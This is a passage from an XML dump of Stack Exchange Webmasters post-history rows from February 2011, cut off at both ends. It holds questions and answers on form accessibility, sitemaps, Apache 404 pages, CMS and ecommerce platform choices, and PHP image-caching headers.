class=&quot;after_radio&quot;&gt;Yes&lt;/label&gt;&#xD;&#xA;      &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_no&quot; value=&quot;0&quot;&gt;&#xD;&#xA;      &lt;label for=&quot;the_question_no&quot; class=&quot;after_radio&quot;&gt;No&lt;/label&gt;&#xD;&#xA;    &lt;/fieldset&gt;&#xD;&#xA;&#xD;&#xA;I've heard rumors that some screen readers have the nasty habit of skipping paragraphs while they're reading forms, which would cause a problem if you've posed the question in a paragraph. Not entirely sure if that's accurate or not, though." />
  <row Id="18774" PostHistoryTypeId="2" PostId="8646" RevisionGUID="c1c8c1cc-3639-437d-8340-d34450de818d" CreationDate="2011-02-03T05:39:16.427" UserId="4803" Text="Yes, you either have to have citizenship, be a resident or have a UK registered company.&#xD;&#xA;&#xD;&#xA;http://www.ntchosting.com/domains/co.uk.html" />
  <row Id="18775" PostHistoryTypeId="2" PostId="8647" RevisionGUID="94906197-0881-4fc7-8972-bf92b4d39bfe" CreationDate="2011-02-03T07:35:16.487" UserId="1022" Text="For setting custom 404s, you should be able to do that much easier (even in .htaccess), like so:&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 http://example.com/?page_id=254&#xD;&#xA;&#xD;&#xA;See also: [ErrorDocument][1]&#xD;&#xA;&#xD;&#xA;Less messy and significantly less CPU use per request than mod_rewrite - anything that 404s just goes straight there, no questions asked. I'd definitely consider making any errordoc a static page if possible though, especially if you stretch it to handle other errors (no fun when your 500 errordoc throws a 500 error).&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/core.html#errordocument&#xD;&#xA;" />
  <row Id="18776" PostHistoryTypeId="2" PostId="8648" RevisionGUID="c1d2c8a4-5c04-4ed8-b347-353e39073c3b" CreationDate="2011-02-03T08:06:42.303" UserId="5123" Text="I've got quite a few sitemaps as my site is quite large.&#xD;&#xA;&#xD;&#xA;Is there any way that I can have a compressed with with multiple sitemap files in it ?&#xD;&#xA;&#xD;&#xA;I've googled but can't find the answer to this&#xD;&#xA;" />
  <row Id="18777" PostHistoryTypeId="1" PostId="8648" RevisionGUID="c1d2c8a4-5c04-4ed8-b347-353e39073c3b" CreationDate="2011-02-03T08:06:42.303" UserId="5123" Text="Sitemap.xml.gz. can I have a compressed file with more than one sitemap in it ?" />
  <row Id="18778" PostHistoryTypeId="3" PostId="8648" RevisionGUID="c1d2c8a4-5c04-4ed8-b347-353e39073c3b" CreationDate="2011-02-03T08:06:42.303" UserId="5123" Text="&lt;seo&gt;&lt;web-development&gt;&lt;sitemap&gt;" />
  <row Id="18779" PostHistoryTypeId="25" PostId="8636" RevisionGUID="185c836a-1315-4a36-9d40-25daab9bee91" CreationDate="2011-02-03T08:16:33.030" Comment="http://twitter.com/#!/StackWebmasters/status/33076357650980864" />
  <row Id="18780" PostHistoryTypeId="2" PostId="8649" RevisionGUID="f4089db3-2062-4ccf-9479-8ea4744d8b73" CreationDate="2011-02-03T08:27:36.407" UserId="1022" Text="You normally won't be able to set up an XMPP server on a normal shared host, but you could always call support &amp; ask - they might have something, but chances are they either don't or it'll cost a bit. Some hosts do offer [XMPP hosting][1] though, so it can't hurt to ask.&#xD;&#xA;&#xD;&#xA;You also might want to look into a virtual private server to run your own, if you're willing to play the sysadmin. Linode maintains a how-to for setting up common [XMPP servers][2] on their VPSes, and there's also Amazon EC2, Rackspace Cloud, and Slicehost.&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.xmpp.org/web/Jabber_Hosting_Possibilities&#xD;&#xA;  [2]: http://library.linode.com/communications/xmpp/&#xD;&#xA;" />
  <row Id="18781" PostHistoryTypeId="5" PostId="8445" RevisionGUID="3c1249a6-ad67-4917-b6a4-ce87116b186f" CreationDate="2011-02-03T08:27:59.370" UserId="4643" Comment="added 1224 characters in body; edited tags" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Updates (added later):**    &#xD;&#xA;&#xD;&#xA;@Lèse majesté (comment to this question):  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in  &#xD;&#xA;&#xD;&#xA;  - [Why googling by keycaptcha gives results on reCAPTCHA? [closed]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;@[DisgruntedGoat][2] , even when there are a lot of results by keycaptcha for &quot;Past 24 hours&quot;,  &#xD;&#xA;the Google.com presents results only on reCAPTCHA.  Anyway, they are different from those by google if to search by &quot;keycaptcha&quot; (in quotes) and by other search engines.  &#xD;&#xA;&#xD;&#xA;Everybody thinks that searches by one keyword should be sneakily substituted by google's own promoted brand products?    &#xD;&#xA;&#xD;&#xA;Update2:  &#xD;&#xA;**Though answers insist that my results are unreproducible,  &#xD;&#xA;I am having confirmations of respondents in Europe, China, Australia and North America   &#xD;&#xA;that they are reproducing these my results on reCAPTCHA while searching by keycaptcha&#xD;&#xA;(having simultaneously results by &quot;keycaptcha&quot; searches&quot;** &#xD;&#xA;&#xD;&#xA;Update3:  &#xD;&#xA;Having operating system, browsers, google's search settings only in English:   &#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the search results are intermixed with quite unexpected languages:    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; ![enter image description here][4]&#xD;&#xA;&#xD;&#xA;Update 4:  &#xD;&#xA;1)&#xD;&#xA;Few days ago, for the first time in my life, I searched through with **Google Adwords** by keyword keycaptcha (by all countries, all languages) and for the last month it gave 91.&#xD;&#xA;&#xD;&#xA;What does it mean for keycaptcha having hundreds downloads, and 100+ registrations/installations daily (and being served over a million times monthly to visitors of various websites)?    &#xD;&#xA;&#xD;&#xA;It is difficult to imagine  that this keyword (keycaptcha) was searched so little.  &#xD;&#xA;How can webmasters install it that many times without serching for it first?&#xD;&#xA;How to interpret this results?&#xD;&#xA;&#xD;&#xA;Is it because [keycaptcha.com][5] does not rent or pay for google's advertising? It is free software product.&#xD;&#xA;&#xD;&#xA;2)&#xD;&#xA;Today, during an hour, I tried to repeat that with **Google Adwords** query again from the same and other my google accounts and could not.  &#xD;&#xA;It asks to enter my business information, to start advertising campaign, to create new account, etc. &#xD;&#xA;&#xD;&#xA;**Why could I use Google Adwords querying for free before and fail now?**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported/8466#8466&#xD;&#xA;  [3]: http://i.stack.imgur.com/gy2CU.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/Rsv5B.png&#xD;&#xA;  [5]: https://www.keycaptcha.com/?changelang=en" />
  <row Id="18782" PostHistoryTypeId="6" PostId="8445" RevisionGUID="3c1249a6-ad67-4917-b6a4-ce87116b186f" CreationDate="2011-02-03T08:27:59.370" UserId="4643" Comment="added 1224 characters in body; edited tags" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;google-search&gt;" />
  <row Id="18783" PostHistoryTypeId="17" PostId="8651" RevisionGUID="ec684101-9545-4a8c-a016-4ee9d2d4ef35" CreationDate="2011-02-03T08:56:14.203" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11964/what-is-a-cms-with-good-user-forums-support/11965#11965" Text="" />
  <row Id="18784" PostHistoryTypeId="17" PostId="8652" RevisionGUID="c0d14354-c14c-46a6-a411-2ad2ed5e2148" CreationDate="2011-02-03T08:56:14.203" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11964/what-is-a-cms-with-good-user-forums-support/11972#11972" Text="" />
  <row Id="18785" PostHistoryTypeId="2" PostId="8651" RevisionGUID="dc738b7d-c623-4784-8c25-871194c7f851" CreationDate="2011-02-02T23:07:51.380" UserDisplayName="AlexK81" Text="The obvious choice is Drupal.  Very popular and tons of plugins.  It has a good integrated forum.  Because of this, though, there aren't a lot of options for alternative forum softwares.&#xD;&#xA;&#xD;&#xA;However, while it's not a true CMS, Wordpress can be very powerful as a CMS web site and has tons of plugins, including forum plugins.&#xD;&#xA;http://chasesagum.com/5-best-choices-for-wordpress-forum-plugins" />
  <row Id="18786" PostHistoryTypeId="2" PostId="8652" RevisionGUID="26affe64-89d4-49db-8bae-894fe8c59516" CreationDate="2011-02-03T06:16:58.457" UserDisplayName="Achu" Text="[PHPbb][1] has a good support community and PHPbb has a lot of MOD's.  if you can't find the plugins you want,  you can easily request on the community forum. so many developers will help you out.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/" />
  <row Id="18787" PostHistoryTypeId="2" PostId="8650" RevisionGUID="86aab13c-2849-44a2-b6a9-f23b018b5da1" CreationDate="2011-02-02T22:59:36.363" UserDisplayName="Jeremy Mullin" Text="If I'm starting from scratch with any CMS I want, which one has good support (or a plugin) for discussion forums?" />
  <row Id="18788" PostHistoryTypeId="1" PostId="8650" RevisionGUID="86aab13c-2849-44a2-b6a9-f23b018b5da1" CreationDate="2011-02-02T22:59:36.363" UserDisplayName="Jeremy Mullin" Text="What is a CMS with good user forums support?" />
  <row Id="18789" PostHistoryTypeId="3" PostId="8650" RevisionGUID="86aab13c-2849-44a2-b6a9-f23b018b5da1" CreationDate="2011-02-02T22:59:36.363" UserDisplayName="Jeremy Mullin" Text="&lt;cms&gt;&lt;forum&gt;" />
  <row Id="18790" PostHistoryTypeId="17" PostId="8650" RevisionGUID="0aa0e288-5f44-46c1-94e4-0f7e9d614fc6" CreationDate="2011-02-03T08:56:14.203" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11964/what-is-a-cms-with-good-user-forums-support" Text="" />
  <row Id="18791" PostHistoryTypeId="2" PostId="8653" RevisionGUID="be532b1d-478c-4b97-8771-f9fd06ca82df" CreationDate="2011-02-03T09:22:53.767" UserId="5126" Text="Currently my sites pages load in about 500ms.  If I recreate the site using Joomla, will my site slow down?" />
  <row Id="18792" PostHistoryTypeId="1" PostId="8653" RevisionGUID="be532b1d-478c-4b97-8771-f9fd06ca82df" CreationDate="2011-02-03T09:22:53.767" UserId="5126" Text="Raw coding vs Joomla / Drupal" />
  <row Id="18793" PostHistoryTypeId="3" PostId="8653" RevisionGUID="be532b1d-478c-4b97-8771-f9fd06ca82df" CreationDate="2011-02-03T09:22:53.767" UserId="5126" Text="&lt;cms&gt;&lt;drupal&gt;&lt;joomla&gt;" />
  <row Id="18794" PostHistoryTypeId="2" PostId="8654" RevisionGUID="ecc14545-6f60-4adb-8f90-7cdfdbd54be6" CreationDate="2011-02-03T09:59:22.160" UserId="1022" Text="&quot;Develop web applications,&quot; &quot;pick a language&quot;... that's programmer talk. You want source control, not a web app: look into [git][1] or [Subversion][2].&#xD;&#xA;&#xD;&#xA;There's a learning curve if you've never used an SCM, but it's a rite of passage for any web dev, just like the moment when you realize someone overwrote 2000+ lines of your code that you just starting overwriting as well, and the drunk googling for how-to's that usually happens a couple hours after that. Bad scene, easy to avoid.&#xD;&#xA;&#xD;&#xA;If you need a web interface, try [here][3] for hosting, host your own [gitweb][4] (various PHP, Ruby, and Perl apps), or just use a [GUI client][5]. I just keep my private/commercial git repositories spread out on dev servers and a couple laptops, easy &amp; cheap as long as you have permissions to install it somewhere.&#xD;&#xA;&#xD;&#xA;  [1]: http://git-scm.com/&#xD;&#xA;  [2]: http://subversion.apache.org/&#xD;&#xA;  [3]: https://git.wiki.kernel.org/index.php/GitHosting&#xD;&#xA;  [4]: https://git.wiki.kernel.org/index.php/Gitweb&#xD;&#xA;  [5]: http://code.google.com/p/tortoisegit/&#xD;&#xA;" />
  <row Id="18795" PostHistoryTypeId="2" PostId="8655" RevisionGUID="8bc74f9c-7734-441c-a2df-4da4ec8162b3" CreationDate="2011-02-03T10:29:32.827" UserId="1064" Text="&gt; Sitemap.xml.gz. can I have a&#xD;&#xA;&gt; compressed file with more than one&#xD;&#xA;&gt; sitemap in it ?&#xD;&#xA;&#xD;&#xA;Search engines will ignore a sitemap archive which contains multiple sitemaps.&#xD;&#xA;&#xD;&#xA;&gt; Is there any way that I can have a&#xD;&#xA;&gt; compressed with with multiple sitemap&#xD;&#xA;&gt; files in it ?&#xD;&#xA;&#xD;&#xA;See the [multiple sitemap files][1] topic at sitemaps.org for instructions to create a sitemap index file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index" />
  <row Id="18796" PostHistoryTypeId="17" PostId="8657" RevisionGUID="28b33a3b-041f-4e82-90c0-78f469748b70" CreationDate="2011-02-03T10:41:37.753" UserId="-1" Comment="from http://stackoverflow.com/questions/4881102/which-shopping-cart-ecommerce-platform-to-choose/4881533#4881533" Text="" />
  <row Id="18797" PostHistoryTypeId="17" PostId="8658" RevisionGUID="cf20dc2c-add0-4cc6-ba4a-88ebb048e8d0" CreationDate="2011-02-03T10:41:37.753" UserId="-1" Comment="from http://stackoverflow.com/questions/4881102/which-shopping-cart-ecommerce-platform-to-choose/4882679#4882679" Text="" />
  <row Id="18798" PostHistoryTypeId="17" PostId="8659" RevisionGUID="2bb0fa30-651b-4bd1-bd7d-92a4889cc834" CreationDate="2011-02-03T10:41:37.753" UserId="-1" Comment="from http://stackoverflow.com/questions/4881102/which-shopping-cart-ecommerce-platform-to-choose/4883366#4883366" Text="" />
  <row Id="18799" PostHistoryTypeId="2" PostId="8657" RevisionGUID="4883d48d-c586-46e0-9e04-2aab4a0c99a8" CreationDate="2011-02-03T00:26:12.530" UserId="2070" Text="From personal experience I can recommend you [Interspire Shopping Cart][1] it is not free but in my opinion quite powerful and easy to operate. They provide hosted version and server licensing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.interspire.com/shoppingcart/" />
  <row Id="18800" PostHistoryTypeId="2" PostId="8658" RevisionGUID="a3d20e85-a18f-4503-a4fc-44bcaa914305" CreationDate="2011-02-03T04:59:45.257" UserDisplayName="Tomas Jancik" Text="I used zencart previously and just transfered to prestashop and must say it's much better, easier to use/customize&#xD;&#xA;&#xD;&#xA;but I've not tried OpenCart so can not compare these two&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18801" PostHistoryTypeId="2" PostId="8659" RevisionGUID="a433b53e-4b60-475f-870d-bcbf80170e23" CreationDate="2011-02-03T07:15:46.620" UserId="3857" Text="If you have never done it before and have tight schedule and budget then i'd say you are doomed anyway and have to choose whatever has the shortest learning curve for you. &#xD;&#xA;&#xD;&#xA;Best choice out of these would be Magento but it has the longest learning curve and you'd be well comfortable with this platform after 6 months hands on working with it. I would not bother to learn the others as they are waste of time from business owners perspective. Specially viewed from support and aging technology side. &#xD;&#xA;&#xD;&#xA;Referring to the facts **have never done it before** and **tight schedule and budget** i would suggest to rent the storefront instead (shopify, yahoo and so on, google will help you find them). That would **cut off costs for development** , **shorten the learning curve** and **you can start selling right away** and you can boost your business with reasonably priced services. If you grow and have larger budget then you should think of investing and implementing your own site." />
  <row Id="18802" PostHistoryTypeId="2" PostId="8656" RevisionGUID="34c05065-ffa3-453e-96c1-9b6e2ef2a3f3" CreationDate="2011-02-02T23:19:14.807" UserDisplayName="fabien7474" Text="I need to build **an ecommerce website** within a tight budget and schedule. Of course, I have never done that before, so I have googled out what my solutions are and I have concluded that the following were not valid candidates anymore :&#xD;&#xA;&#xD;&#xA; 1. **[Magento][1]** : Steep learning curve&#xD;&#xA; 2. **[osCommerce][2]** : old, bad design, buggy and not user-friendly&#xD;&#xA; 3. **[Zencart][3], [CRE Loaded][4], [CubeCart][5]** : based on osCommerce&#xD;&#xA; 4. **[Virtuemart][6], [uberCart][7], [eCart][8]** : based on CMS (Joomal, Drupal, WordPress) that is not necessary for my use-case&#xD;&#xA;&#xD;&#xA;So I finally narrowed down my choices to these solutions :&#xD;&#xA;&#xD;&#xA; 1. **[PrestaShop][9]** : easy-to-use, great templating engine ([smarty][10]) but [many modules are not free buy yet indispensable][11]&#xD;&#xA; 2. **[OpenCart][12]** : security issues and not [a great support from the main developer][15]. See [here][13] and [here][14].&#xD;&#xA;&#xD;&#xA;So, as you can see, I am a little bit confused and if you can **help me choosing an easy-to-use, lightweight and cheap (not-necessarily free) ecommerce solution**, I would really appreciate.&#xD;&#xA;&#xD;&#xA;By the way, I am a Java/Grails programmer but I am also familiar with PHP and .NET. (not with Python or Ruby/Rails)&#xD;&#xA; &#xD;&#xA;**EDIT**: It seems that this question is more appropriate for the Webmaster StackExchange site. So please **move this question to where it belongs** (I cannot do that) instead of  downvoting it. BTW, I have found out a question quite similar on SO (http://stackoverflow.com/questions/3315638/php-ecommerce-system-which-one-is-easiest-to-modify) which is quite popular.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/&#xD;&#xA;  [2]: http://www.oscommerce.com/&#xD;&#xA;  [3]: http://www.zen-cart.com/&#xD;&#xA;  [4]: http://www.creloaded.com/&#xD;&#xA;  [5]: http://www.cubecart.com/&#xD;&#xA;  [6]: http://www.virtuemart.net/&#xD;&#xA;  [7]: http://www.ubercart.org/&#xD;&#xA;  [8]: http://wordpress.org/extend/plugins/wp-e-commerce/&#xD;&#xA;  [9]: http://www.prestashop.com/&#xD;&#xA;  [10]: http://www.smarty.net/&#xD;&#xA;  [11]: http://blog.ericlamb.net/2010/05/should-we-use-prestashop/&#xD;&#xA;  [12]: http://www.opencart.com/&#xD;&#xA;  [13]: http://forum.opencart.com/viewtopic.php?p=72582#p72582&#xD;&#xA;  [14]: http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/&#xD;&#xA;  [15]: http://blog.ericlamb.net/2010/05/should-we-use-opencart/" />
  <row Id="18803" PostHistoryTypeId="1" PostId="8656" RevisionGUID="34c05065-ffa3-453e-96c1-9b6e2ef2a3f3" CreationDate="2011-02-02T23:19:14.807" UserDisplayName="fabien7474" Text="Which shopping cart / ecommerce platform to choose?" />
  <row Id="18804" PostHistoryTypeId="3" PostId="8656" RevisionGUID="34c05065-ffa3-453e-96c1-9b6e2ef2a3f3" CreationDate="2011-02-02T23:19:14.807" UserDisplayName="fabien7474" Text="&lt;web-development&gt;&lt;magento&gt;&lt;ecommerce&gt;&lt;prestashop&gt;" />
  <row Id="18805" PostHistoryTypeId="17" PostId="8656" RevisionGUID="acb1d10e-7386-43f6-ac97-0fc215fc5205" CreationDate="2011-02-03T10:41:37.753" UserId="-1" Comment="from http://stackoverflow.com/questions/4881102/which-shopping-cart-ecommerce-platform-to-choose" Text="" />
  <row Id="18806" PostHistoryTypeId="25" PostId="8653" RevisionGUID="84e9f76b-136c-458b-a1de-427c5d19f006" CreationDate="2011-02-03T11:16:33.077" Comment="http://twitter.com/#!/StackWebmasters/status/33121656658468864" />
  <row Id="18807" PostHistoryTypeId="5" PostId="8653" RevisionGUID="ecdfc16a-2012-4887-a1b1-d62f241aa8e6" CreationDate="2011-02-03T11:28:21.007" UserId="5126" Comment="Added an extra sentence." Text="Currently my sites pages load in about 500ms.  The html, css, javascript, php, python, perl, and sql queries are totally unoptimised.  If I recreate the site using Joomla, will my site slow down?" />
  <row Id="18808" PostHistoryTypeId="2" PostId="8660" RevisionGUID="82bd9d63-a490-42ca-adee-33c631d97b8c" CreationDate="2011-02-03T11:38:05.017" UserId="3718" Text="I dont think there would be a difference in speed.&#xD;&#xA;&#xD;&#xA;Some CMS/Frameworks have more streamlined SQL queries, but the speed in which a CMS delivers its pages isn't noticeable. The noticeable advantages of a CMS is the security it provides when querying the database. Things like images and javascript files impact on page delivery times more than a CMS.&#xD;&#xA;" />
  <row Id="18809" PostHistoryTypeId="2" PostId="8661" RevisionGUID="37a2ea71-5b98-4adc-b917-24a17b6bb94d" CreationDate="2011-02-03T13:51:49.823" UserId="5131" Text="I believe this is down to permissions. Try CHMODing your files to 755. " />
  <row Id="18810" PostHistoryTypeId="2" PostId="8662" RevisionGUID="da5c15b9-5c10-49d4-a54e-c1adaf03ddb2" CreationDate="2011-02-03T13:56:33.330" UserId="5131" Text="I'd recommend saving this as PNG24. However, some older versions of Internet Explorer have issues displaying Transparent PNG files. You can get around this using the [BelatedPNG Javascript library][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dillerdesign.com/experiment/DD_belatedPNG/" />
  <row Id="18811" PostHistoryTypeId="2" PostId="8663" RevisionGUID="04ba06b4-e878-40c8-bafa-c9b68cc723e8" CreationDate="2011-02-03T14:00:19.067" UserId="5131" Text="Wordpress has a large library of plugins and there are scripts out there to allow intergration with the major forums including PHPBB, Invision and VBulletin. " />
  <row Id="18812" PostHistoryTypeId="25" PostId="8650" RevisionGUID="d3f81914-b5a0-46d1-a224-0f5f6c4c9554" CreationDate="2011-02-03T14:16:35.340" Comment="http://twitter.com/#!/StackWebmasters/status/33166964339777536" />
  <row Id="18818" PostHistoryTypeId="5" PostId="8652" RevisionGUID="4b633e12-e85d-4282-9f1b-abf9ec913850" CreationDate="2011-02-03T15:10:49.857" UserId="5134" Comment="deleted 7 characters in body" Text="[PHPbb][1] has a good support community and has a lot of MOD's.  if you can't find the plugins you want,  you can easily request on the community forum so many developers will help you out.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/" />
  <row Id="18819" PostHistoryTypeId="5" PostId="8578" RevisionGUID="8405fc72-1491-4fa3-8dde-1eb489acfb4e" CreationDate="2011-02-03T15:18:29.997" UserId="1847" Comment="changed link to my personalized tracker link." Text="I frequently receive mock-ups of HTML forms with the following prototype:&#xD;&#xA;&#xD;&#xA;Some long winded yes or no question? &amp;nbsp; (o) Yes &amp;nbsp; ( ) No&#xD;&#xA;&#xD;&#xA;The `(o)` and `( )` in this prototype represent radio buttons. My personal view is that if the question has only a true or false value then it should be a check box. That said, I have seen this sort of &quot;layout&quot; from almost every designer I've ever worked with.&#xD;&#xA;&#xD;&#xA;If I were not to question their decision, or question the client's decision, I'd probably mark it up like this:&#xD;&#xA;&#xD;&#xA;    &lt;p class=&quot;pseudo_label&quot;&gt;Some long winded yes or no question?&lt;/p&gt;&#xD;&#xA;    &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_yes&quot; value=&quot;1&quot;&gt;&#xD;&#xA;    &lt;label for=&quot;the_question_yes&quot; class=&quot;after_radio&quot;&gt;Yes&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_no&quot; value=&quot;0&quot;&gt;&#xD;&#xA;    &lt;label for=&quot;the_question_no&quot; class=&quot;after_radio&quot;&gt;No&lt;/label&gt;&#xD;&#xA;&#xD;&#xA;I really don't want to do that. I want to push back and convince them that this should really be a check box and not two radio buttons. But my question is, if I can't convince them &amp;ndash; you're welcome to help me try &amp;ndash; how should I code that original design requirement such that it is semantic and at least understandable for screen reader users?&#xD;&#xA;&#xD;&#xA;If I were able to convince my tormentors to change their minds, I would likely code it in the following fashion:&#xD;&#xA;&#xD;&#xA;    &lt;label for=&quot;the_question&quot;&gt;Some long winded yes or no question?&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;checkbox&quot; name=&quot;the_question&quot; id=&quot;the_question&quot; value=&quot;1&quot;&gt;&#xD;&#xA;&#xD;&#xA;What do you think about this issue? Should I push back? Possibly more importantly is either way semantically correct?&#xD;&#xA;&#xD;&#xA;**UPDATE**: I have posted a related question on the UI SE per your suggestions. You can find it here: http://ui.stackexchange.com/q/3335/3493" />
  <row Id="18821" PostHistoryTypeId="2" PostId="8666" RevisionGUID="13185acf-2d21-40bc-9471-f89b5657cf50" CreationDate="2011-02-03T16:23:17.397" UserId="1725" Text="Why should/shouldn't I put social media icons on my website?" />
  <row Id="18822" PostHistoryTypeId="1" PostId="8666" RevisionGUID="13185acf-2d21-40bc-9471-f89b5657cf50" CreationDate="2011-02-03T16:23:17.397" UserId="1725" Text="Why should/shouldn't I put social media icons on my website?" />
  <row Id="18823" PostHistoryTypeId="3" PostId="8666" RevisionGUID="13185acf-2d21-40bc-9471-f89b5657cf50" CreationDate="2011-02-03T16:23:17.397" UserId="1725" Text="&lt;facebook&gt;&lt;links&gt;&lt;twitter&gt;&lt;social-networks&gt;" />
  <row Id="18824" PostHistoryTypeId="5" PostId="7431" RevisionGUID="e97985ef-7452-4124-8ea5-c788ab5190dc" CreationDate="2011-02-03T16:29:34.480" UserId="1725" Comment="Links were not optimized/clickable." Text="First few google hits for &quot;twitter logo&quot; and &quot;facebook&quot; logo are successful:&#xD;&#xA;&#xD;&#xA;[Facebook logos][1]&#xD;&#xA;&#xD;&#xA;[Twitter logos][2]&#xD;&#xA;&#xD;&#xA;The twitter &quot;t&quot; should not be used anymore and be replaced with the bird. Like it or not, it's the new official one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/brandpermissions/logos.php&#xD;&#xA;  [2]: http://twitter.com/about/resources/logos" />
  <row Id="18825" PostHistoryTypeId="24" PostId="7431" RevisionGUID="4a1eb55f-a785-4201-aa1a-a6838f558d94" CreationDate="2011-02-03T16:29:34.480" Comment="Proposed by 1725 approved by 1253 edit id of 5" />
  <row Id="18826" PostHistoryTypeId="2" PostId="8667" RevisionGUID="165c450f-a011-443e-a889-a0cd9f3a0606" CreationDate="2011-02-03T16:29:42.563" UserDisplayName="user4898" Text="I don't know if this is the best practice, but we added an image with a snow delay for our school. For some users the image wouldn't come up. Is this a matter of the browser or something else? I had to use Ctrl + F5 to clear the cache to see the updated image. " />
  <row Id="18827" PostHistoryTypeId="1" PostId="8667" RevisionGUID="165c450f-a011-443e-a889-a0cd9f3a0606" CreationDate="2011-02-03T16:29:42.563" UserDisplayName="user4898" Text="Image not updating for some users" />
  <row Id="18828" PostHistoryTypeId="3" PostId="8667" RevisionGUID="165c450f-a011-443e-a889-a0cd9f3a0606" CreationDate="2011-02-03T16:29:42.563" UserDisplayName="user4898" Text="&lt;images&gt;&lt;cache&gt;&lt;image&gt;" />
  <row Id="18832" PostHistoryTypeId="2" PostId="8669" RevisionGUID="a362801b-0467-4794-8b9a-6684cfc81fb7" CreationDate="2011-02-03T16:43:19.620" UserId="1253" Text="It's definitely a caching issue. There are a few ways to correct thisThe simplest way is to append a unique value as a query string to the name of the image so it always appear to be new to the browser and it requests the image evrey time. Using a timestamp is the easiest way to do this.&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;/images/weatherupdate.png?19591782466&quot; width='100&quot; height=&quot;100&quot; alt=&quot;Snow Delay&quot;&gt;`&#xD;&#xA;" />
  <row Id="18833" PostHistoryTypeId="5" PostId="8669" RevisionGUID="3c9dc92d-1aa1-4f8e-8c3c-bb9c77496c33" CreationDate="2011-02-03T16:48:35.193" UserId="1253" Comment="added 810 characters in body; deleted 5 characters in body; edited body" Text="It's definitely a caching issue. There are a few ways to correct thisThe simplest way is to append a unique value as a query string to the name of the image so it always appear to be new to the browser and it requests the image evrey time. Using a timestamp is the easiest way to do this.&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;/images/weatherupdate.png?19591782466&quot; width='100&quot; height=&quot;100&quot; alt=&quot;Snow Delay&quot;&gt;`&#xD;&#xA;&#xD;&#xA;You also serve that image through a PHP (or any server side language file) and send no cache headers along with that image.&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;/images/weatherupdate.php&quot; width='100&quot; height=&quot;100&quot; alt=&quot;Snow Delay&quot;&gt;&#xD;&#xA;  &#xD;&#xA;    PHP Code:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $image = '/path/to/image/delayedopening.png';&#xD;&#xA;        header(&quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot;);&#xD;&#xA;        header(&quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&quot;); &#xD;&#xA;        header(&quot;Cache-Control: private&quot;,false);&#xD;&#xA;        header(&quot;Content-Type: image/png&quot;); &#xD;&#xA;        header(&quot;Content-Disposition: attachment; filename=&quot; . basename($image));&#xD;&#xA;        header(&quot;Content-Transfer-Encoding: binary&quot;); &#xD;&#xA;        header(&quot;Content-Length: &quot; . filesize($image)); &#xD;&#xA;        ob_clean(); &#xD;&#xA;        flush(); &#xD;&#xA;        readfile($image); &#xD;&#xA;    ?&gt;&#xD;&#xA;`" />
  <row Id="18834" PostHistoryTypeId="5" PostId="8669" RevisionGUID="476c0bba-fd68-48c7-bad6-0f82cc143b1b" CreationDate="2011-02-03T16:54:09.903" UserId="1253" Comment="added 470 characters in body" Text="It's definitely a caching issue. There are a few ways to correct thisThe simplest way is to append a unique value as a query string to the name of the image so it always appear to be new to the browser and it requests the image evrey time. Using a timestamp is the easiest way to do this.&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;/images/weatherupdate.png?19591782466&quot; width='100&quot; height=&quot;100&quot; alt=&quot;Snow Delay&quot;&gt;`&#xD;&#xA;&#xD;&#xA;You also serve that image through a PHP (or any server side language file) and send no cache headers along with that image.&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;/images/weatherupdate.php&quot; width='100&quot; height=&quot;100&quot; alt=&quot;Snow Delay&quot;&gt;&#xD;&#xA;  &#xD;&#xA;    PHP Code:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $image = '/path/to/image/delayedopening.png';&#xD;&#xA;        header(&quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot;);&#xD;&#xA;        header(&quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&quot;); &#xD;&#xA;        header(&quot;Cache-Control: 